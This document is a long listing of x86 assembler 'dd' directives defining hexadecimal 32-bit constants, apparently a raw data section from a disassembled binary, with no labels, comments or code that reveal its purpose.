		dd 0E88400A4h, 0BBD1880Ch, 0D79E80C0h, 71B350BDh, 56E6B10Ch
		dd 0C1638B8h, 3576AC9Fh, 220F02FAh, 4042F246h, 0E406B070h
		dd 39E87828h, 6075E56Ch, 0EFBE544Fh, 82F9085Ch,	0F0795536h
		dd 8004747Fh, 36EE1EAEh, 2E75E604h, 41CD4400h, 0B575B15Eh
		dd 60B370E2h, 3D1173CCh, 670384B4h, 31D96FAFh, 0D407E8F5h
		dd 0E2363085h, 8A032F27h, 99BCA800h, 0C413BE74h, 0ECDE00A1h
		dd 5C0DCCE2h, 5D1EB9F6h
		dd 1BC04783h, 9149A292h, 9043057Bh, 0C7ED23h, 301E328Eh
		dd 5E0AFDF1h, 0D4B777AFh, 3795F080h, 29E7065Bh,	394EE2Fh
		dd 0ED2DE907h, 3083B6E8h, 21DC44h, 55E3230Dh, 89BB7BB3h
		dd 84BDA900h, 805C082Ch, 3C494014h, 0ED8A9754h,	74B05D06h
		dd 7C71FDh, 8545816Bh, 0DD1DD933h, 90C14D90h, 0CE02B1E0h
		dd 3F136980h, 516886B6h, 17AEE230h, 0F1DFF3h, 467E9222h
		dd 0EC3F0DCFh, 0C50069EAh, 7CA66A73h, 0E4C2D2h,	38160386h
		dd 0A2F793B1h, 52004B74h, 13D30BE2h, 7CA61544h,	0BF8EA172h
		dd 482A1AF8h, 0E63A38C2h, 0DE4A187Eh, 55F2CADAh, 0C0897E89h
		dd 950F3671h, 953D28C0h, 0E50E1326h, 5F9FB1E7h,	0F32BC7C0h
		dd 668533h, 2FD86EAEh, 0B29037F7h, 0DC9FD63Eh, 813D0071h
		dd 4062EB41h, 9A713A24h, 40AFA392h, 0F816A616h,	1304CB20h
		dd 975779D3h, 0C3761780h, 6E86A88Ah, 0C622124Eh, 464D4B42h
		dd 5ECA81C8h, 0F6A7B9A0h, 360F4518h, 98957930h,	24330002h
		dd 0F5438108h, 0B1FD814h, 0A79451BBh, 0F9530092h, 0C415B270h
		dd 2E38006Eh, 8F6BCB72h, 0B979EF5Ch, 2A0699A0h,	0E581A300h
		dd 4CBE5AB0h, 77FE690h,	67B4DE1Ah, 2E45D3D4h, 0DF406A98h
		dd 99B33Ah, 0B1624CA0h,	0FD53E0h, 42F63F05h, 9325E76Eh
		dd 91067A76h, 61D73C0h,	9862491Ch, 3982B6Ah, 8599A13h
		dd 80B6EA91h, 5ED7FB19h, 11417D6Eh, 0DE3481h, 94284498h
		dd 0C02276C5h, 6AA24A53h, 0D800517Dh, 36DBFFE8h, 0A0943EFEh
		dd 135292F9h, 117D6F8h,	22C414EFh, 7D4DCCEAh, 83508C00h
		dd 0AA23DB33h, 8FDE4868h, 0C1FD12h, 7CE84AD2h, 0F40730D9h
		dd 7FB83C35h, 0A88039C4h, 26826AAEh, 81AE8A4Ah,	0D004B764h
		dd 1D928111h, 0FC37B831h, 0BF079639h, 50753D15h, 0B73EDA6Eh
		dd 0FC965207h, 9C217E2Fh, 0C240C948h, 1430B995h, 0B5B61A03h
		dd 4B8BA703h, 5C0B0CFDh, 9048A1h, 0F9AE6E06h, 68A40049h
		dd 0FC38D1E1h, 0FB00593Ch, 0E521CA8Fh, 13C57524h, 1C2EEE26h
		dd 1830B8C6h, 8E656C0h,	0A60CCC03h, 35DA02Fh, 0FBF2CA7h
		dd 30E721DFh, 1FC28FFCh, 47F13107h, 753469A5h, 35D03780h
		dd 4B9800F2h, 92E3C4F8h, 0BD000D6Fh, 0FB51914Dh, 3B576772h
		dd 30F97FB7h, 8025F024h, 7000C4A0h, 7BF22AC0h, 9033599Eh
		dd 0E41D301Ch, 0FA1222FEh, 0B3C258h, 0EA07D67Ch, 0C65729Dh
		dd 54458F06h, 0A25212ABh, 0FD7114EDh, 83443DAFh, 94BDC846h
		dd 563CE11Dh, 503BBA30h, 16C0A5D9h, 609A2CECh, 459E2BDEh
		dd 31DA0450h, 0DC81ED12h, 5732F400h, 42AF993h, 0CF27B699h
		dd 174982EBh, 0BE76C1A3h, 0D5F75098h, 0F2B94Ch,	1CFF4C9Fh
		dd 1F27F47h, 808C4D61h,	20254F8Bh, 570082D8h, 0E3CFE523h
		dd 449A30h, 0D52F466Bh,	0AFF83AB3h, 174DFE00h, 64F643D0h
		dd 0CD600048h, 56A1CBE1h, 9400A42Dh, 2B7ABB73h,	2A9719Bh
		dd 2EA78945h, 0D280ED1Eh, 585AB244h, 3E009779h,	26DE0F52h
		dd 0B657E7h, 0E008BE7Eh, 0A947F724h, 7AD6D02h, 0C0EB4C8Eh
		dd 0EA5861F7h, 6C8602B5h, 0F8D6FA2Fh, 391B0A60h, 0DF084D0Bh
		dd 0B5B20027h, 0B9F5B979h, 0BFF1CF6h, 1B205E72h, 0E020DC0Dh
		dd 2BA5605h, 0EF8174C2h, 0E03E2C9Ah, 981377A4h,	0CA209C5Ch
		dd 4C568E7Ch, 0DD808996h, 81E18951h, 0BD1C14Bh,	33D8E983h
		dd 3124360Ch, 5C0C0D06h, 24446C68h, 5512CE89h, 0C581E582h
		dd 0EDCA1E8Eh, 2C870C06h, 34618936h, 1F8DBD2Ch,	0F4570970h
		dd 0CF9F8EFh, 8B545D5Fh, 0C4548122h, 0C184EC24h, 8468F6Dh
		dd 5E2A94FFh, 208B8C16h, 0E2893E52h, 8822C22Ah,	0C0148706h
		dd 594CE98Ch, 0FD1EFFFCh, 90B158B8h, 0E0E4C503h, 94D6008Bh
		dd 6F817B0Fh, 0BC13761Ah, 850012B4h, 190A0695h,	0FC5B001Fh
		dd 971E63EBh, 331C733Ah, 29C3DA44h, 902650D5h, 13058C0h
		dd 3D027B45h, 0D89F5561h, 0B400AC57h, 76CB5018h, 0F4069A2h
		dd 8F4607FAh, 9B1D3C18h, 721D4EEEh, 91C0FF02h, 3C2288DEh
		dd 3E41670h, 25DB03B2h,	0A2955660h, 0D1F274C2h,	26F7CB05h
		dd 0D5A0BB71h, 3489821Ch, 0ED975F6Ch, 0B0A440F2h, 0BD272B87h
		dd 21C24069h, 0A6A1958Dh, 0EA7D8509h, 82DC0C89h, 0C058CDA5h
		dd 59EBF81Fh, 0CDA0FD4Bh, 0DC60810Dh, 0F9D998Dh, 2BB2B22Fh
		dd 46D5613Eh, 0A5DD1A9Dh, 74559CB2h, 0A07EE7BDh, 5538BCB6h
		dd 604BCB06h, 0D24A9C3Ah, 0A061F7BEh, 0A93F66E4h, 8B13023Dh
		dd 8F6061F1h, 0DA9195C8h, 4ECD1BBDh, 5FD7E21Ah,	5DE188h
		dd 0C764F59Ch, 701A386Bh, 0C4BE4927h, 30F00B9h,	2DC09768h
		dd 510E96D3h, 0E0EA8F77h, 3E187B25h, 615B283Ah,	0CA4A95CDh
		dd 186CDF54h, 5B9FA4F9h, 174FC9B5h, 0D185C118h,	2AAB5D07h
		dd 0ED6C12BAh, 4ADDB83Eh, 321AC258h, 4269892Dh,	0BC66DDE8h
		dd 9FABF5C2h, 4C265941h, 6688045Bh, 5AB928BEh, 893795CBh
		dd 92D1E900h, 0B3DBB51h, 0F219F172h, 9BA077D1h,	0CE33B125h
		dd 0C381027Eh, 110D9875h, 890A0046h, 0CA054595h, 0D9796A4Bh
		dd 572D00FFh, 80DD4B86h, 427E4800h, 0D7664C67h,	35301A7h
		dd 0CF81570Ch, 65B8FCC8h, 0E95E5A08h, 5F2A405h,	5A7FD9DBh
		dd 0F25C5FF9h, 0B8C001DCh, 0BAA35F4Bh, 8504642Bh, 4EE71395h
		dd 0A1C3A7BFh, 0A6B6C94h, 0E4DF1A3Dh, 8B945D0Bh, 4ABA036Dh
		dd 0D4317F9Ch, 0A07CA675h, 27DFCF8h, 2AA59876h,	0CC824E45h
		dd 449909C1h, 30B21513h, 0DEB38100h, 3CE809BDh,	0CABEBB01h
		dd 4CF2282h, 0DB2B3221h, 7CFE80E0h, 9013D3D8h, 9692767h
		dd 66C3DAB0h, 0B49C3Fh,	0FDD8B6A4h, 2D3EA6CCh, 0EA667738h
		dd 0BA85C72Fh, 0E0D04D4Ah, 0AE7B23A4h, 0B70FA005h, 49BD61CFh
		dd 0E500C4B8h, 0C6653726h, 3B85B71h, 6107EBDCh,	284FE99Dh
		dd 0CCA30AF7h, 7EE66788h, 0F2915002h, 0FCFC980Ch, 0CD00DC8Ch
		dd 0A90BB06h, 188B7839h, 2375E9C1h, 8C126660h, 4FB0A8D8h
		dd 14A8435h, 298298AFh,	0A0AF6922h, 88070597h, 0EF18C1FEh
		dd 43C680Ch, 8FAADC20h,	0D495702h, 0FF2830F0h, 0E9381A95h
		dd 8AAF4A32h, 30DF04EEh, 0D05A9C5h, 0E53F3921h,	0E10E4233h
		dd 6A980F76h, 0D056057Ch, 6105126Eh, 20E0C1C3h,	82F0DA3Ch
		dd 0A1014FE1h, 0F224A4E9h, 68195DF4h, 9019565Ah, 40813D21h
		dd 6121F060h, 24CB98h, 6F9929E8h, 2AC676B7h, 8333F200h
		dd 3A73B26Ah, 84D8006Bh, 0C9E8E30Ch, 0D69E62EEh, 0ED2C204Fh
		dd 228DAC5Dh, 373AEA3Eh, 43F5801Bh, 0E5B272AAh,	7FB53A55h
		dd 5847187h, 0F27B8039h, 0AB9E2DC2h, 82427A00h,	63A128h
		dd 40157151h, 0FFAE6FA7h, 0C7041DE4h, 14EF926Ah, 0C06BABE0h
		dd 6D436F0Eh, 3800D4E4h, 719F2FFCh, 3EFF3CB5h, 9D80A34Fh
		dd 0CC3EEB57h, 0A000604Eh, 520CA6F7h, 65B24C7h,	65A6BE4h
		dd 4B004CC2h, 2CDEEE67h, 9E8630F0h, 0C31FC0A2h,	0CD00EEA7h
		dd 32DE83EFh, 38B3BFAh,	0DF6AAA62h, 4602C186h, 35DBFFEEh
		dd 9CC558F9h, 0A77B026Dh, 97408ACBh, 80E8C68h, 0AC0BB3Bh
		dd 0D180DE70h, 72B3347Bh, 0E9200BEDh, 0D060EC60h, 0B4009A32h
		dd 0AB8591B5h, 5088DE6Bh, 0E6CB312h, 40C4204Ch,	1484EB8h
		dd 0FDA7D58Bh, 0A65EC0DEh, 0EFE4888h, 9D16D630h, 31CD835h
		dd 0AC8D7FCFh, 3B00C91Fh, 0D4143A16h, 34F77Eh, 78AB6384h
		dd 0D8EA22C8h, 903A87A0h, 8BDA1900h, 0DB1BD33Bh, 4480056Dh
		dd 0A36FE36Ah, 0A93600FEh, 4147330Dh, 0CB6A1F1Dh, 811B0728h
		dd 24402FAFh, 58B7EA86h
		dd 0ED5D9C16h, 0B6D7C3h, 54705C10h, 0E548DC38h,	8240F6C4h
		dd 0A467CC4Ch, 5D850E01h, 50B73CD7h, 3800BB6Dh,	942473B1h
		dd 362FBF77h, 0A00C2006h, 2FED64h, 0C513D1Dh, 0A3F221DDh
		dd 0ECBC1014h, 2D0103ECh, 183667A4h, 194F8504h,	8130B09Ch
		dd 0BC900F4Bh, 0F055B35h, 74C058C2h, 0FF4F98B4h, 5DD41001h
		dd 63F7137Fh, 69BC11C3h, 2FE52066h, 0BA00846Bh,	7FD515D1h
		dd 0BF005172h, 0E929E509h, 9C711DC1h, 78D20056h, 43086A3Eh
		dd 8A037305h, 0E3A44549h, 865D39F7h, 0C3B70C80h, 0E2D20637h
		dd 331FA4C0h, 60CD78BAh, 0B3601394h, 2D16ED03h,	0B09004C0h
		dd 0C41C8D09h, 471387A6h, 0C62F0756h, 0C3AEEAFh, 0ABE1D0FCh
		dd 0DC00F00Fh, 0B05ED955h, 4A8268h, 0A1DB764h, 86D88870h
		dd 0A361E803h, 0B83EF415h, 0BE3CC4Eh, 0EDDF32Eh, 0FA50E640h
		dd 802D734Ch, 78B45AECh, 0AA8A04B8h, 90A487BEh,	5C9D590Eh
		dd 97FD3900h, 45A51544h, 0E3490389h, 774D8330h,	0BE009272h
		dd 85350437h, 7EE52Eh, 8D9BFBD4h, 9A13D143h, 63A38F00h
		dd 11FE34D5h, 16FC31h, 0B978568Eh, 0E424E009h, 15F95100h
		dd 21FDF63Fh, 0F7103B45h, 9D4EFE81h, 0F417A161h, 8C00CC38h
		dd 95E7DDAh, 1444F427h,	0D5AB6BA3h, 462B6100h, 5C70F63Eh
		dd 0D00DD54Ch, 0DCD00B4h, 2E670323h, 0A09E73CFh, 586EC4C4h
		dd 0F4074EE7h, 301ADB13h, 39EFBF97h, 0F6759D24h, 0E0D51193h
		dd 9450BAA6h, 0E3CA00F9h, 0ACE52F21h, 2817F01Ch, 2FC006BEh
		dd 49F2DECBh, 6A26E632h, 0B2660067h, 4E8EA05Ch,	0AFECBEh
		dd 67D4E54Ah, 844A5031h, 781BE7Eh, 0A00F7BD9h, 0ADA465A1h
		dd 0E8A32903h, 846F2339h, 4C8BAF00h, 0A413F526h, 2740C117h
		dd 7AAB220Eh, 12B360C9h, 5494B86Fh, 28520324h, 28001535h
		dd 5C501EEh, 152619AFh,	0E8291BBFh, 9E18C909h, 4415F72Dh
		dd 0B55A0068h, 8C4C8865h, 0C87C0826h, 9D214D06h, 29FA2Eh
		dd 0EF456B47h, 0EC2BA3CFh, 455860Eh, 109961B4h,	0A1500D23h
		dd 0ED3E12h, 70A8547h, 0FE777C73h, 65633D4Ch, 9EA27DDDh
		dd 0B4286814h, 0AD9F503h, 0DBC851BAh, 98A05485h, 0C828E6CAh
		dd 1B1DE4FAh, 4C8038B1h, 12A2639Bh, 0EE3D06F9h,	31D80CBFh
		dd 80092501h, 539CF742h, 5A1292h, 76FC567Ch, 2E1E302Bh
		dd 8380AE89h, 0A946013Ah, 0A393021Ah, 3653924Ah, 0AAF47ED8h
		dd 1884400h, 0D0244D32h, 8A90EBh, 0FB1FC87Eh, 0EC28C713h
		dd 0A8862C07h, 3F60C268h, 7A16C395h, 0DAE200C5h, 0E7369153h
		dd 2100D04Dh, 1139559Ah, 7CEBA98h, 0F430DA6Ah, 0A05C857Dh
		dd 0F74A249Ah, 80F9ED87h, 0A9200C11h, 4CB0078h,	8DF27F92h
		dd 1400D03Dh, 0CF0FC726h, 58F9EC65h, 2A0026C9h,	0ACE05380h
		dd 3009F93h, 32F3DDF1h,	980FBF3Eh, 4DA812CCh, 61F40089h
		dd 0B823AD1h, 5D533800h, 0B498E523h, 0DD74C67h,	0BB6741Ch
		dd 318029E7h, 57374160h, 4CDD3C0Eh, 7BEC764h, 0E04AFAE2h
		dd 3DBB9A16h, 20066018h, 0C444870Eh, 0F1EAE307h, 0E9D08154h
		dd 930D9h, 442466BAh, 0A987ABF6h, 97D07A01h, 0D6BDE1A7h
		dd 9A037982h, 304056AEh, 9700CAA6h, 0CF7FBE76h,	1326E61Eh
		dd 20A07890h, 0B314D479h, 8033621Eh, 0FC76AC80h, 34BD91h
		dd 0C6277A16h, 0D177DD0Eh, 808BBF39h, 0D7149D9Bh, 7488667h
		dd 0CF3F26A3h, 9EFB3017h, 512591BFh, 96DC2F1Dh,	70E781CBh
		dd 0C6815E54h, 2DEE7686h, 7B823487h, 0C21B725Dh, 140887CFh
		dd 0FFC9008Bh, 0FC077A62h, 0CA4B0055h, 0C1315901h, 8B2D5458h
		dd 536FB014h, 0F62CF051h, 3C1FFA01h, 0C3285B26h, 5A891E07h
		dd 0A33AB508h, 44A19DB3h, 34590AFFh, 4ED5E940h,	5A9FCFCh
		dd 0D9B849EFh, 0B79B32Eh, 5CDADD2Ah, 6782009Eh,	4E658F1Ah
		dd 0FC733400h, 0F295C00Ah, 99E00078h, 0F12841F0h, 1300322Dh
		dd 35142EA2h, 18311CA7h, 0C004FF47h, 621EA08Ah,	0A0094B1h
		dd 36F99E32h, 67992616h, 0B91700C0h, 0D2BF022Ch, 0A9562B00h
		dd 0E09B663Eh, 6C700057h, 0AE4B4D46h, 0D1EDF53h, 4FC39013h
		dd 0F01FB123h, 1E4C5A98h, 4189882Ah, 0BFCF1E48h, 7C6CC81Bh
		dd 70667B00h, 0BB1044FAh, 0E4F1FFCh, 602ECE67h,	0A8B236h
		dd 5D434BDCh, 0E2178F7h, 61C18B66h, 0C1DBC069h,	0F22C4F70h
		dd 2DD4777Ch, 7D90997h,	0CB820F09h, 0C583B328h,	900ACD22h
		dd 1D8D7E6h, 78EE2AE4h,	2A34EF1Eh, 255A3BAEh, 7B6F5738h
		dd 4A2F3864h, 2E256B6h,	261041F4h, 0D7D4BE0Bh, 2B767689h
		dd 93B101DCh, 0F580D182h, 0FDD945A8h, 16AEB8C9h, 0C3499D29h
		dd 8DAE838h, 0F4AD74h, 615E6D8Ah, 2DB501C5h, 863A1541h
		dd 0AE82F927h, 3DDD8362h, 4210003Eh, 7EEE8B9h, 4E5E6FBDh
		dd 1E73EE18h, 88FCBF06h, 209C4362h, 0B50D79h, 4DCE81B9h
		dd 55F0D45h, 3E73B5E8h,	7C7E6Eh, 0CBFC3E02h, 0F9281070h
		dd 300970C4h, 0D68216FDh, 0A5E07F65h, 85AB1923h, 75E8D8F8h
		dd 24E7074Fh, 0F3F4EA0h, 78FAB731h, 4C6D270Dh, 480BB8E8h
		dd 5E072DE8h, 1C51F4C8h, 0A98A41B1h, 2098061Fh,	0B909253Dh
		dd 74E079Ch, 0DE8F910h,	0E92463B5h, 46C83E11h, 0DE0F8132h
		dd 0B0DDA192h, 0C6C1B5A3h, 19D4E831h, 0C0964DB5h, 0EB316E73h
		dd 0AAF08EBDh, 0E03B5B08h, 8239BE63h, 0E8461AD0h, 377F6C9Eh
		dd 7C4A8058h, 6693EC64h, 0C6CEBF17h, 0AB00AAB2h, 0FDD4875h
		dd 200AAA3h, 4DA06374h,	628D7140h, 2FF5921Fh, 13FC6004h
		dd 87A0808Eh, 0EDF37715h, 0D44A1E05h, 3EC2E176h, 70264B5h
		dd 31F78161h, 0E83B1159h, 0BD7FEA3Ah, 47A400F6h, 73DED1FDh
		dd 71683462h, 88800A05h, 0F80F2801h, 316B99E8h,	0EC154931h
		dd 2A62BABCh, 0FB902DA1h, 0E8801ABDh, 0EF0541EBh, 6C1D5124h
		dd 7092DBA5h, 8E6273D8h, 24342962h, 0BC7355BAh,	0C88B2876h
		dd 697B32E2h, 0BD55E5A2h, 426E8022h, 668817F7h,	0ED9ABE01h
		dd 67E8DBB5h, 11B4A7A6h, 0CB8B0102h, 6ED8D01h, 0C5265522h
		dd 53D3AF38h, 171FD70h,	57CF8BA0h, 0D8B598B8h, 7DD229E8h
		dd 4FB832BDh, 5AFC9F00h, 0BD8B2243h, 570951CDh,	0FC020ED5h
		dd 718110D5h, 24A67C5Ch, 2600282Bh, 9BB167DAh, 29D0295Bh
		dd 0CFC90AB0h, 4AE5225h, 825F5B96h, 3DDF0400h, 54B202C9h
		dd 196138ACh, 850110B9h, 7327504Dh, 0FE7C8BA1h,	0B0E78595h
		dd 124D6FABh, 610B6A1Dh, 0BDC378B1h, 635E5889h,	7CE60FDCh
		dd 0D6E1D4E0h, 0C2704327h, 0DC2FBFEh, 37DF1208h, 9013EAFh
		dd 0BA0FFE61h, 7D127EFFh, 19239A3Ah, 0C5545100h, 97D47DBAh
		dd 13112204h, 0F5FF7B05h, 0F64EA0F8h, 9750E0D1h, 0EB410778h
		dd 916522F0h, 0DDF8BA60h, 2B61C001h, 0C8B9D801h, 5057BB21h
		dd 0F920BE2Ah, 27CBB3BFh, 0FD582BADh, 0CA581097h, 0C69002C5h
		dd 64958B36h, 0D1EAC3F6h, 0D53400D6h, 0D4FABA70h, 5B061DE6h
		dd 10718D29h, 2E95EA54h, 0F6BF1521h, 0E8B00204h, 77A91A89h
		dd 77001AB8h, 4E4FAA0Eh, 1E78DC9h, 0CABF0F8Eh, 7F044289h
		dd 0D9800FDBh, 8BE9FFDFh, 0E1418D30h, 5039B529h, 5D2D7C25h
		dd 50EC7919h, 0B5382BFEh, 0AA914BD9h, 0D9A1EA9h, 0FE557A1Ah
		dd 6FCB35E4h, 86D90387h, 88F1DAD5h, 0AB966DEh, 890F902Dh
		dd 61042C48h, 0F0117FEEh, 0FB0326D1h, 63047671h, 341DA830h
		dd 0CF90BF3Dh, 5C0323F7h, 4F2AA7B8h, 0EED9A8CEh, 673A016Dh
		dd 2B2601F4h, 0FA6E8540h, 980F5E8Dh, 4B2293FDh,	340AF679h
		dd 0A26EEBEAh, 5AC12603h
		dd 0CAF10A96h, 0E8925520h, 18771980h, 7B7B9D72h, 4E19002Eh
		dd 0C68E1DB3h, 894B2E94h, 5C101436h, 0A8C8FD92h, 77A70FBBh
		dd 0B59A6715h, 14D3777h, 0E9BCBED5h, 25D41014h,	0BFC3Ch
		dd 15811334h, 9CC49E41h, 764E9201h, 0FF4786ABh,	95BD3420h
		dd 55959FA1h, 900CA50Ch, 629C9E2h, 619D3521h, 1D93EA4Ah
		dd 25B4078h, 6423FFD9h,	8AF786E5h, 0D7A1778Bh, 9175CE85h
		dd 551AE05h, 30414B04h,	0D3C12218h, 85B891E7h, 13C7946Ah
		dd 0AFB5A1E1h, 0C05DCD4Fh, 0A19E14ADh, 29176E1Ch, 0B6047A93h
		dd 0FDAE1687h, 814C8081h, 0EC698h, 0D286FC0Bh, 0B8496207h
		dd 2661665Ch, 0D0BD0B59h, 7307D15Dh, 7457B9F8h,	93B80A26h
		dd 95E87B48h, 56C27F07h, 0A9F670F7h, 4F977C4Ch,	72F3C6A0h
		dd 36086A97h, 800EE807h, 6B8B1C2Ch, 0D000CB9Ch,	14B54477h
		dd 285376A6h, 82E659F8h, 0DCEE5CA2h, 0BAE18B00h, 4CCD5DD1h
		dd 669A2DC4h, 42E7DF72h, 107F498Bh, 823521B0h, 306185F5h
		dd 4210E926h, 0DB422CC1h, 0F11600F4h, 0C9C1A7F5h, 1DD89AE9h
		dd 0BB6AFA8Ch, 820ED0BCh, 0C1B3BE28h, 5F6EF113h, 30ED6405h
		dd 89DF30ABh, 12B2219Dh, 8580AC91h, 2FB561EEh, 0ED4F001Fh
		dd 77F89B82h, 0E55ABEDCh, 7FB60017h, 8239F2E0h,	80927195h
		dd 0CB21CF81h, 33162F73h, 0AEE9C98Dh, 1759508h,	7FBF6000h
		dd 9798A97h, 10E1BD89h,	3C98487Ah, 1E0D7D20h, 1201C58Ah
		dd 0AFBC522Dh, 5EF059E6h, 39027114h, 0F268B847h, 0D2C5D33Dh
		dd 0D41FDE55h, 0CBB43843h, 0C01788B2h, 0CCC16018h, 83DB4697h
		dd 8AF18CBEh, 80839B2Ah, 0A9A24F4Eh, 9CE34905h,	1CBEDF44h
		dd 0A81516ABh, 0E469D8Eh, 9B0F84Bh, 42C397FAh, 3BEABFB1h
		dd 0C5ED83C4h, 750082B8h, 0EFDD6899h, 4CC9D0BDh, 0C116D62Fh
		dd 0FC8CBC1Eh, 22038C19h, 0E40FC85Eh, 0A2C40003h, 906B03Ch
		dd 255AC995h, 600051F2h, 53A5D880h, 0D717B70Fh,	61046158h
		dd 135F0881h, 0B752908Dh, 8F9950C5h, 0E9001D9Eh, 3A754D3Fh
		dd 85960FDFh, 0D19E1BCBh, 77C30713h, 673139C1h,	0BBC5732Bh
		dd 98966FD4h, 0BD30250h, 905B8403h, 0ECCB757h, 0E9244C35h
		dd 49084007h, 26E751A6h, 0A51CC4C2h, 0AA239E54h, 2A320F8h
		dd 844BDFC5h, 1F8A880Fh, 0BDD8160Ah, 8C17AC8Ah,	42267609h
		dd 118EC17Fh, 0A9731305h, 0D1FF1277h, 2F65F7BBh, 0D829DBC2h
		dd 651349B9h, 550411F8h, 1E1313B1h, 90792FD2h, 4FC5140h
		dd 0AFD60001h, 0BE3BBBA7h, 0FA00F44Ah, 99030E4Eh, 5D6A5F7Eh
		dd 0E6BC1702h, 0F8051C00h, 6E0BEB1h, 4C758C8h, 0BDEA871h
		dd 14D1379Dh, 0B5215A5h, 91F4FEBEh, 0F4ECB30Bh,	94D02A93h
		dd 0B212DC99h, 2730FF8Fh, 680FFCh, 96F32AE3h, 0AD17BB66h
		dd 0DA5F7A0h, 60807782h, 82E961DAh, 0BE20E4Eh, 133CACC4h
		dd 66E05EE6h, 0A8281C9Bh, 0FD258741h, 0D0DA5330h, 11012697h
		dd 0A9DF33DEh, 1030EAB8h, 0AF7E2F3Bh, 0B9780C53h, 0B4B7164h
		dd 8831CDE0h, 0F5008FC4h, 5529ADDh, 7A8921Eh, 6072F267h
		dd 149C2A50h, 499E9485h, 0F0D4615Fh, 0C1A0CDA7h, 0CCE4570Bh
		dd 3016562h, 0F8216B7Eh, 0AB2BEFB7h, 9D8B7730h,	0EF314A09h
		dd 4060CCDDh, 0F63D25C3h, 46D64454h, 9DAD3D1Dh,	0D7407E2Bh
		dd 3438351Ah, 0C99D2509h, 6FBBAC01h, 6A933081h,	8B23FF4Ch
		dd 82B8EAB5h, 2F7A536h,	0E9012069h, 0AB8B010Ah,	0C5F6DE8Bh
		dd 91088DACh, 71E40934h, 7A0026C4h, 74B0BE81h, 39FE7059h
		dd 64803488h, 8094C556h, 86740D99h, 5F84F707h, 0C848D31h
		dd 0D1AC33BFh, 0B6164B76h, 0D8ADF8C8h, 0C18BD882h, 6E0E9846h
		dd 259BC322h, 10A08A33h, 18F94F8Bh, 9C90D4E7h, 0C3C82B28h
		dd 0F8ED5567h, 3BC2D174h, 30F65718h, 0EFDCCBh, 0FDB0BD8Fh
		dd 0D0008154h, 0F84E3C6Dh, 2D12BC30h, 3990557Fh, 7A02DF81h
		dd 8B08BF22h, 0C5A17A85h, 881FF170h, 12C4077Eh,	3C2610A1h
		dd 5C4F339h, 0D03B480Fh, 981C8009h, 65E9FAF4h, 0FA531149h
		dd 0F9368620h, 60820250h, 424A74CBh, 0C65F4D69h, 9DC1F4DEh
		dd 8418315Dh, 0B812044h, 2BBA3DE3h, 5A5B685h, 0A289FE1Bh
		dd 0EBB31205h, 0A8DF35AEh, 0B58D803Bh, 9DAFC9E2h, 22E415EDh
		dd 95B5B3A0h, 0D6668BF7h, 3D00DE4Bh, 78E8D59Ch,	0B80F4648h
		dd 1C380997h, 0DC765F51h, 40656E6Ch, 2349B930h,	0D8F64B24h
		dd 0A756E6E0h, 11E9A811h, 0E0A2000h, 30D41C87h,	0DFDD1800h
		dd 4B518213h, 0F64D2826h, 0E6FC5FC3h, 5C45E09Dh, 4CD0013Ah
		dd 4AF6F199h, 4E9B2EFCh, 307AF781h, 0EF8EF44Eh,	86E3E412h
		dd 1001788Ch, 260B21B5h, 59C264B8h, 0D22B0212h,	92F6027Dh
		dd 4019F65Bh, 6ADB9C9Bh, 1D2D120Eh, 5D26C058h, 65C233ADh
		dd 0F8D0A8D1h, 0F475019Dh, 995CCB81h, 0C26A2EEDh, 0D03083Ch
		dd 23513D88h, 8B0A91CAh, 5D54F695h, 2DEAA2Ch, 5ACD2B49h
		dd 9442500Ah, 4F571462h, 0C0FE4F0Dh, 8E57E5D7h,	0D52EBD09h
		dd 8B8E162Dh, 31843C2h,	0E90878C1h, 5819FFB2h, 3470E153h
		dd 25DA0021h, 0C943D7A2h, 0BF042D68h, 270E31FFh, 0F0B2E880h
		dd 81F4B8Dh, 0FBA8129Eh, 7ABA2BFFh, 2BCC05B2h, 519289BDh
		dd 3E9F7DB8h, 0CB801991h, 3A205C6Bh, 0C6EE80E6h, 33328D71h
		dd 41035E4Eh, 0FF011B34h, 496E6FE1h, 0D3184869h, 5012B192h
		dd 0C202DE0Ah, 9927F1BDh, 0E37D8E8Eh, 3103D5ECh, 85294BA0h
		dd 0F80AF44Dh, 8014433h, 27D36B76h, 0B42E550h, 0F63EBC7Ch
		dd 218DCC05h, 210F0331h, 0E063A4E2h, 0BED17D17h, 0B6FD1BDh
		dd 1AF3605Eh, 1358C970h, 0B814EB80h, 4A054869h,	0E1C2B397h
		dd 50B75F04h, 5FB06F00h, 0F0BAB73Eh, 4072B4FDh,	7867FE89h
		dd 80CD3139h, 6C8C5C77h, 0BDCE23C9h, 9708D790h,	10966007h
		dd 0B3FA0A5Bh, 26013008h, 45F816FEh, 0E732B9CAh, 0BB70A7EFh
		dd 2F3376B7h, 1482E985h, 0BAC16050h, 0CD883AD1h, 62D20083h
		dd 302B3626h, 5B4A6160h, 0F8B63135h, 3427F0A7h,	88167A1Fh
		dd 95362B90h, 7CAA2DDEh, 201D5422h, 728C0F02h, 5B57019Fh
		dd 0E634F968h, 58C77A3Dh, 37062461h, 0DE9BCCEFh, 871FB7C0h
		dd 20E52997h, 355A3D04h, 0A9BD4A4Bh, 0DCE5FCB0h, 0A9CBE300h
		dd 0ACF28DCh, 674395B3h, 85210ECAh, 0AC1410ADh,	0AFB212E7h
		dd 33F0E9B6h, 0FC3250B3h, 497D4C15h, 0DDCEE991h, 400AB8A4h
		dd 0A5F084EBh, 0C6620332h, 5BDC4570h, 83159030h, 0E1C7E2B3h
		dd 827462A5h, 3C562DF4h, 68036658h, 299D23C0h, 0B5FD1A09h
		dd 5B73EF19h, 4AD97872h, 0BCE419F9h, 6EF2C2A9h,	5430DF09h
		dd 0F2377589h, 827AD981h, 0DA401FF2h, 881271B5h, 0C19161FAh
		dd 0D4DDDE49h, 7BACD32Fh, 8A0F860Bh, 0E1812706h, 9D9648E9h
		dd 4E1FF54Bh, 26DB4617h, 0B80C12C0h, 49056DF7h,	0EE33BF11h
		dd 0D00E5682h, 0E0DF4ACCh, 0B548FFD9h, 4B7B9E04h, 0BF0FB842h
		dd 0BED1C0DEh, 0B73C1299h, 0D2C043F5h, 1C886BDh, 0CF945195h
		dd 68348D12h, 1405BCCh,	0B59FDEC5h, 236090FDh, 0F885014Ah
		dd 0CC474D31h, 0C2E027F5h, 0FE98C05Fh, 0FABB5061h, 597F02F8h
		dd 0CF07CD9Fh, 89268464h, 79E6AEBh, 897F4F80h, 0C194E98Dh
		dd 0B6A66112h, 0CF2DC4E0h, 5A85393Fh, 5C0C88h, 0FA57718Ah
		dd 62CA9E4Fh, 9AE389BFh, 0E63DDD8Ch, 0EDE81080h, 5C11DA75h
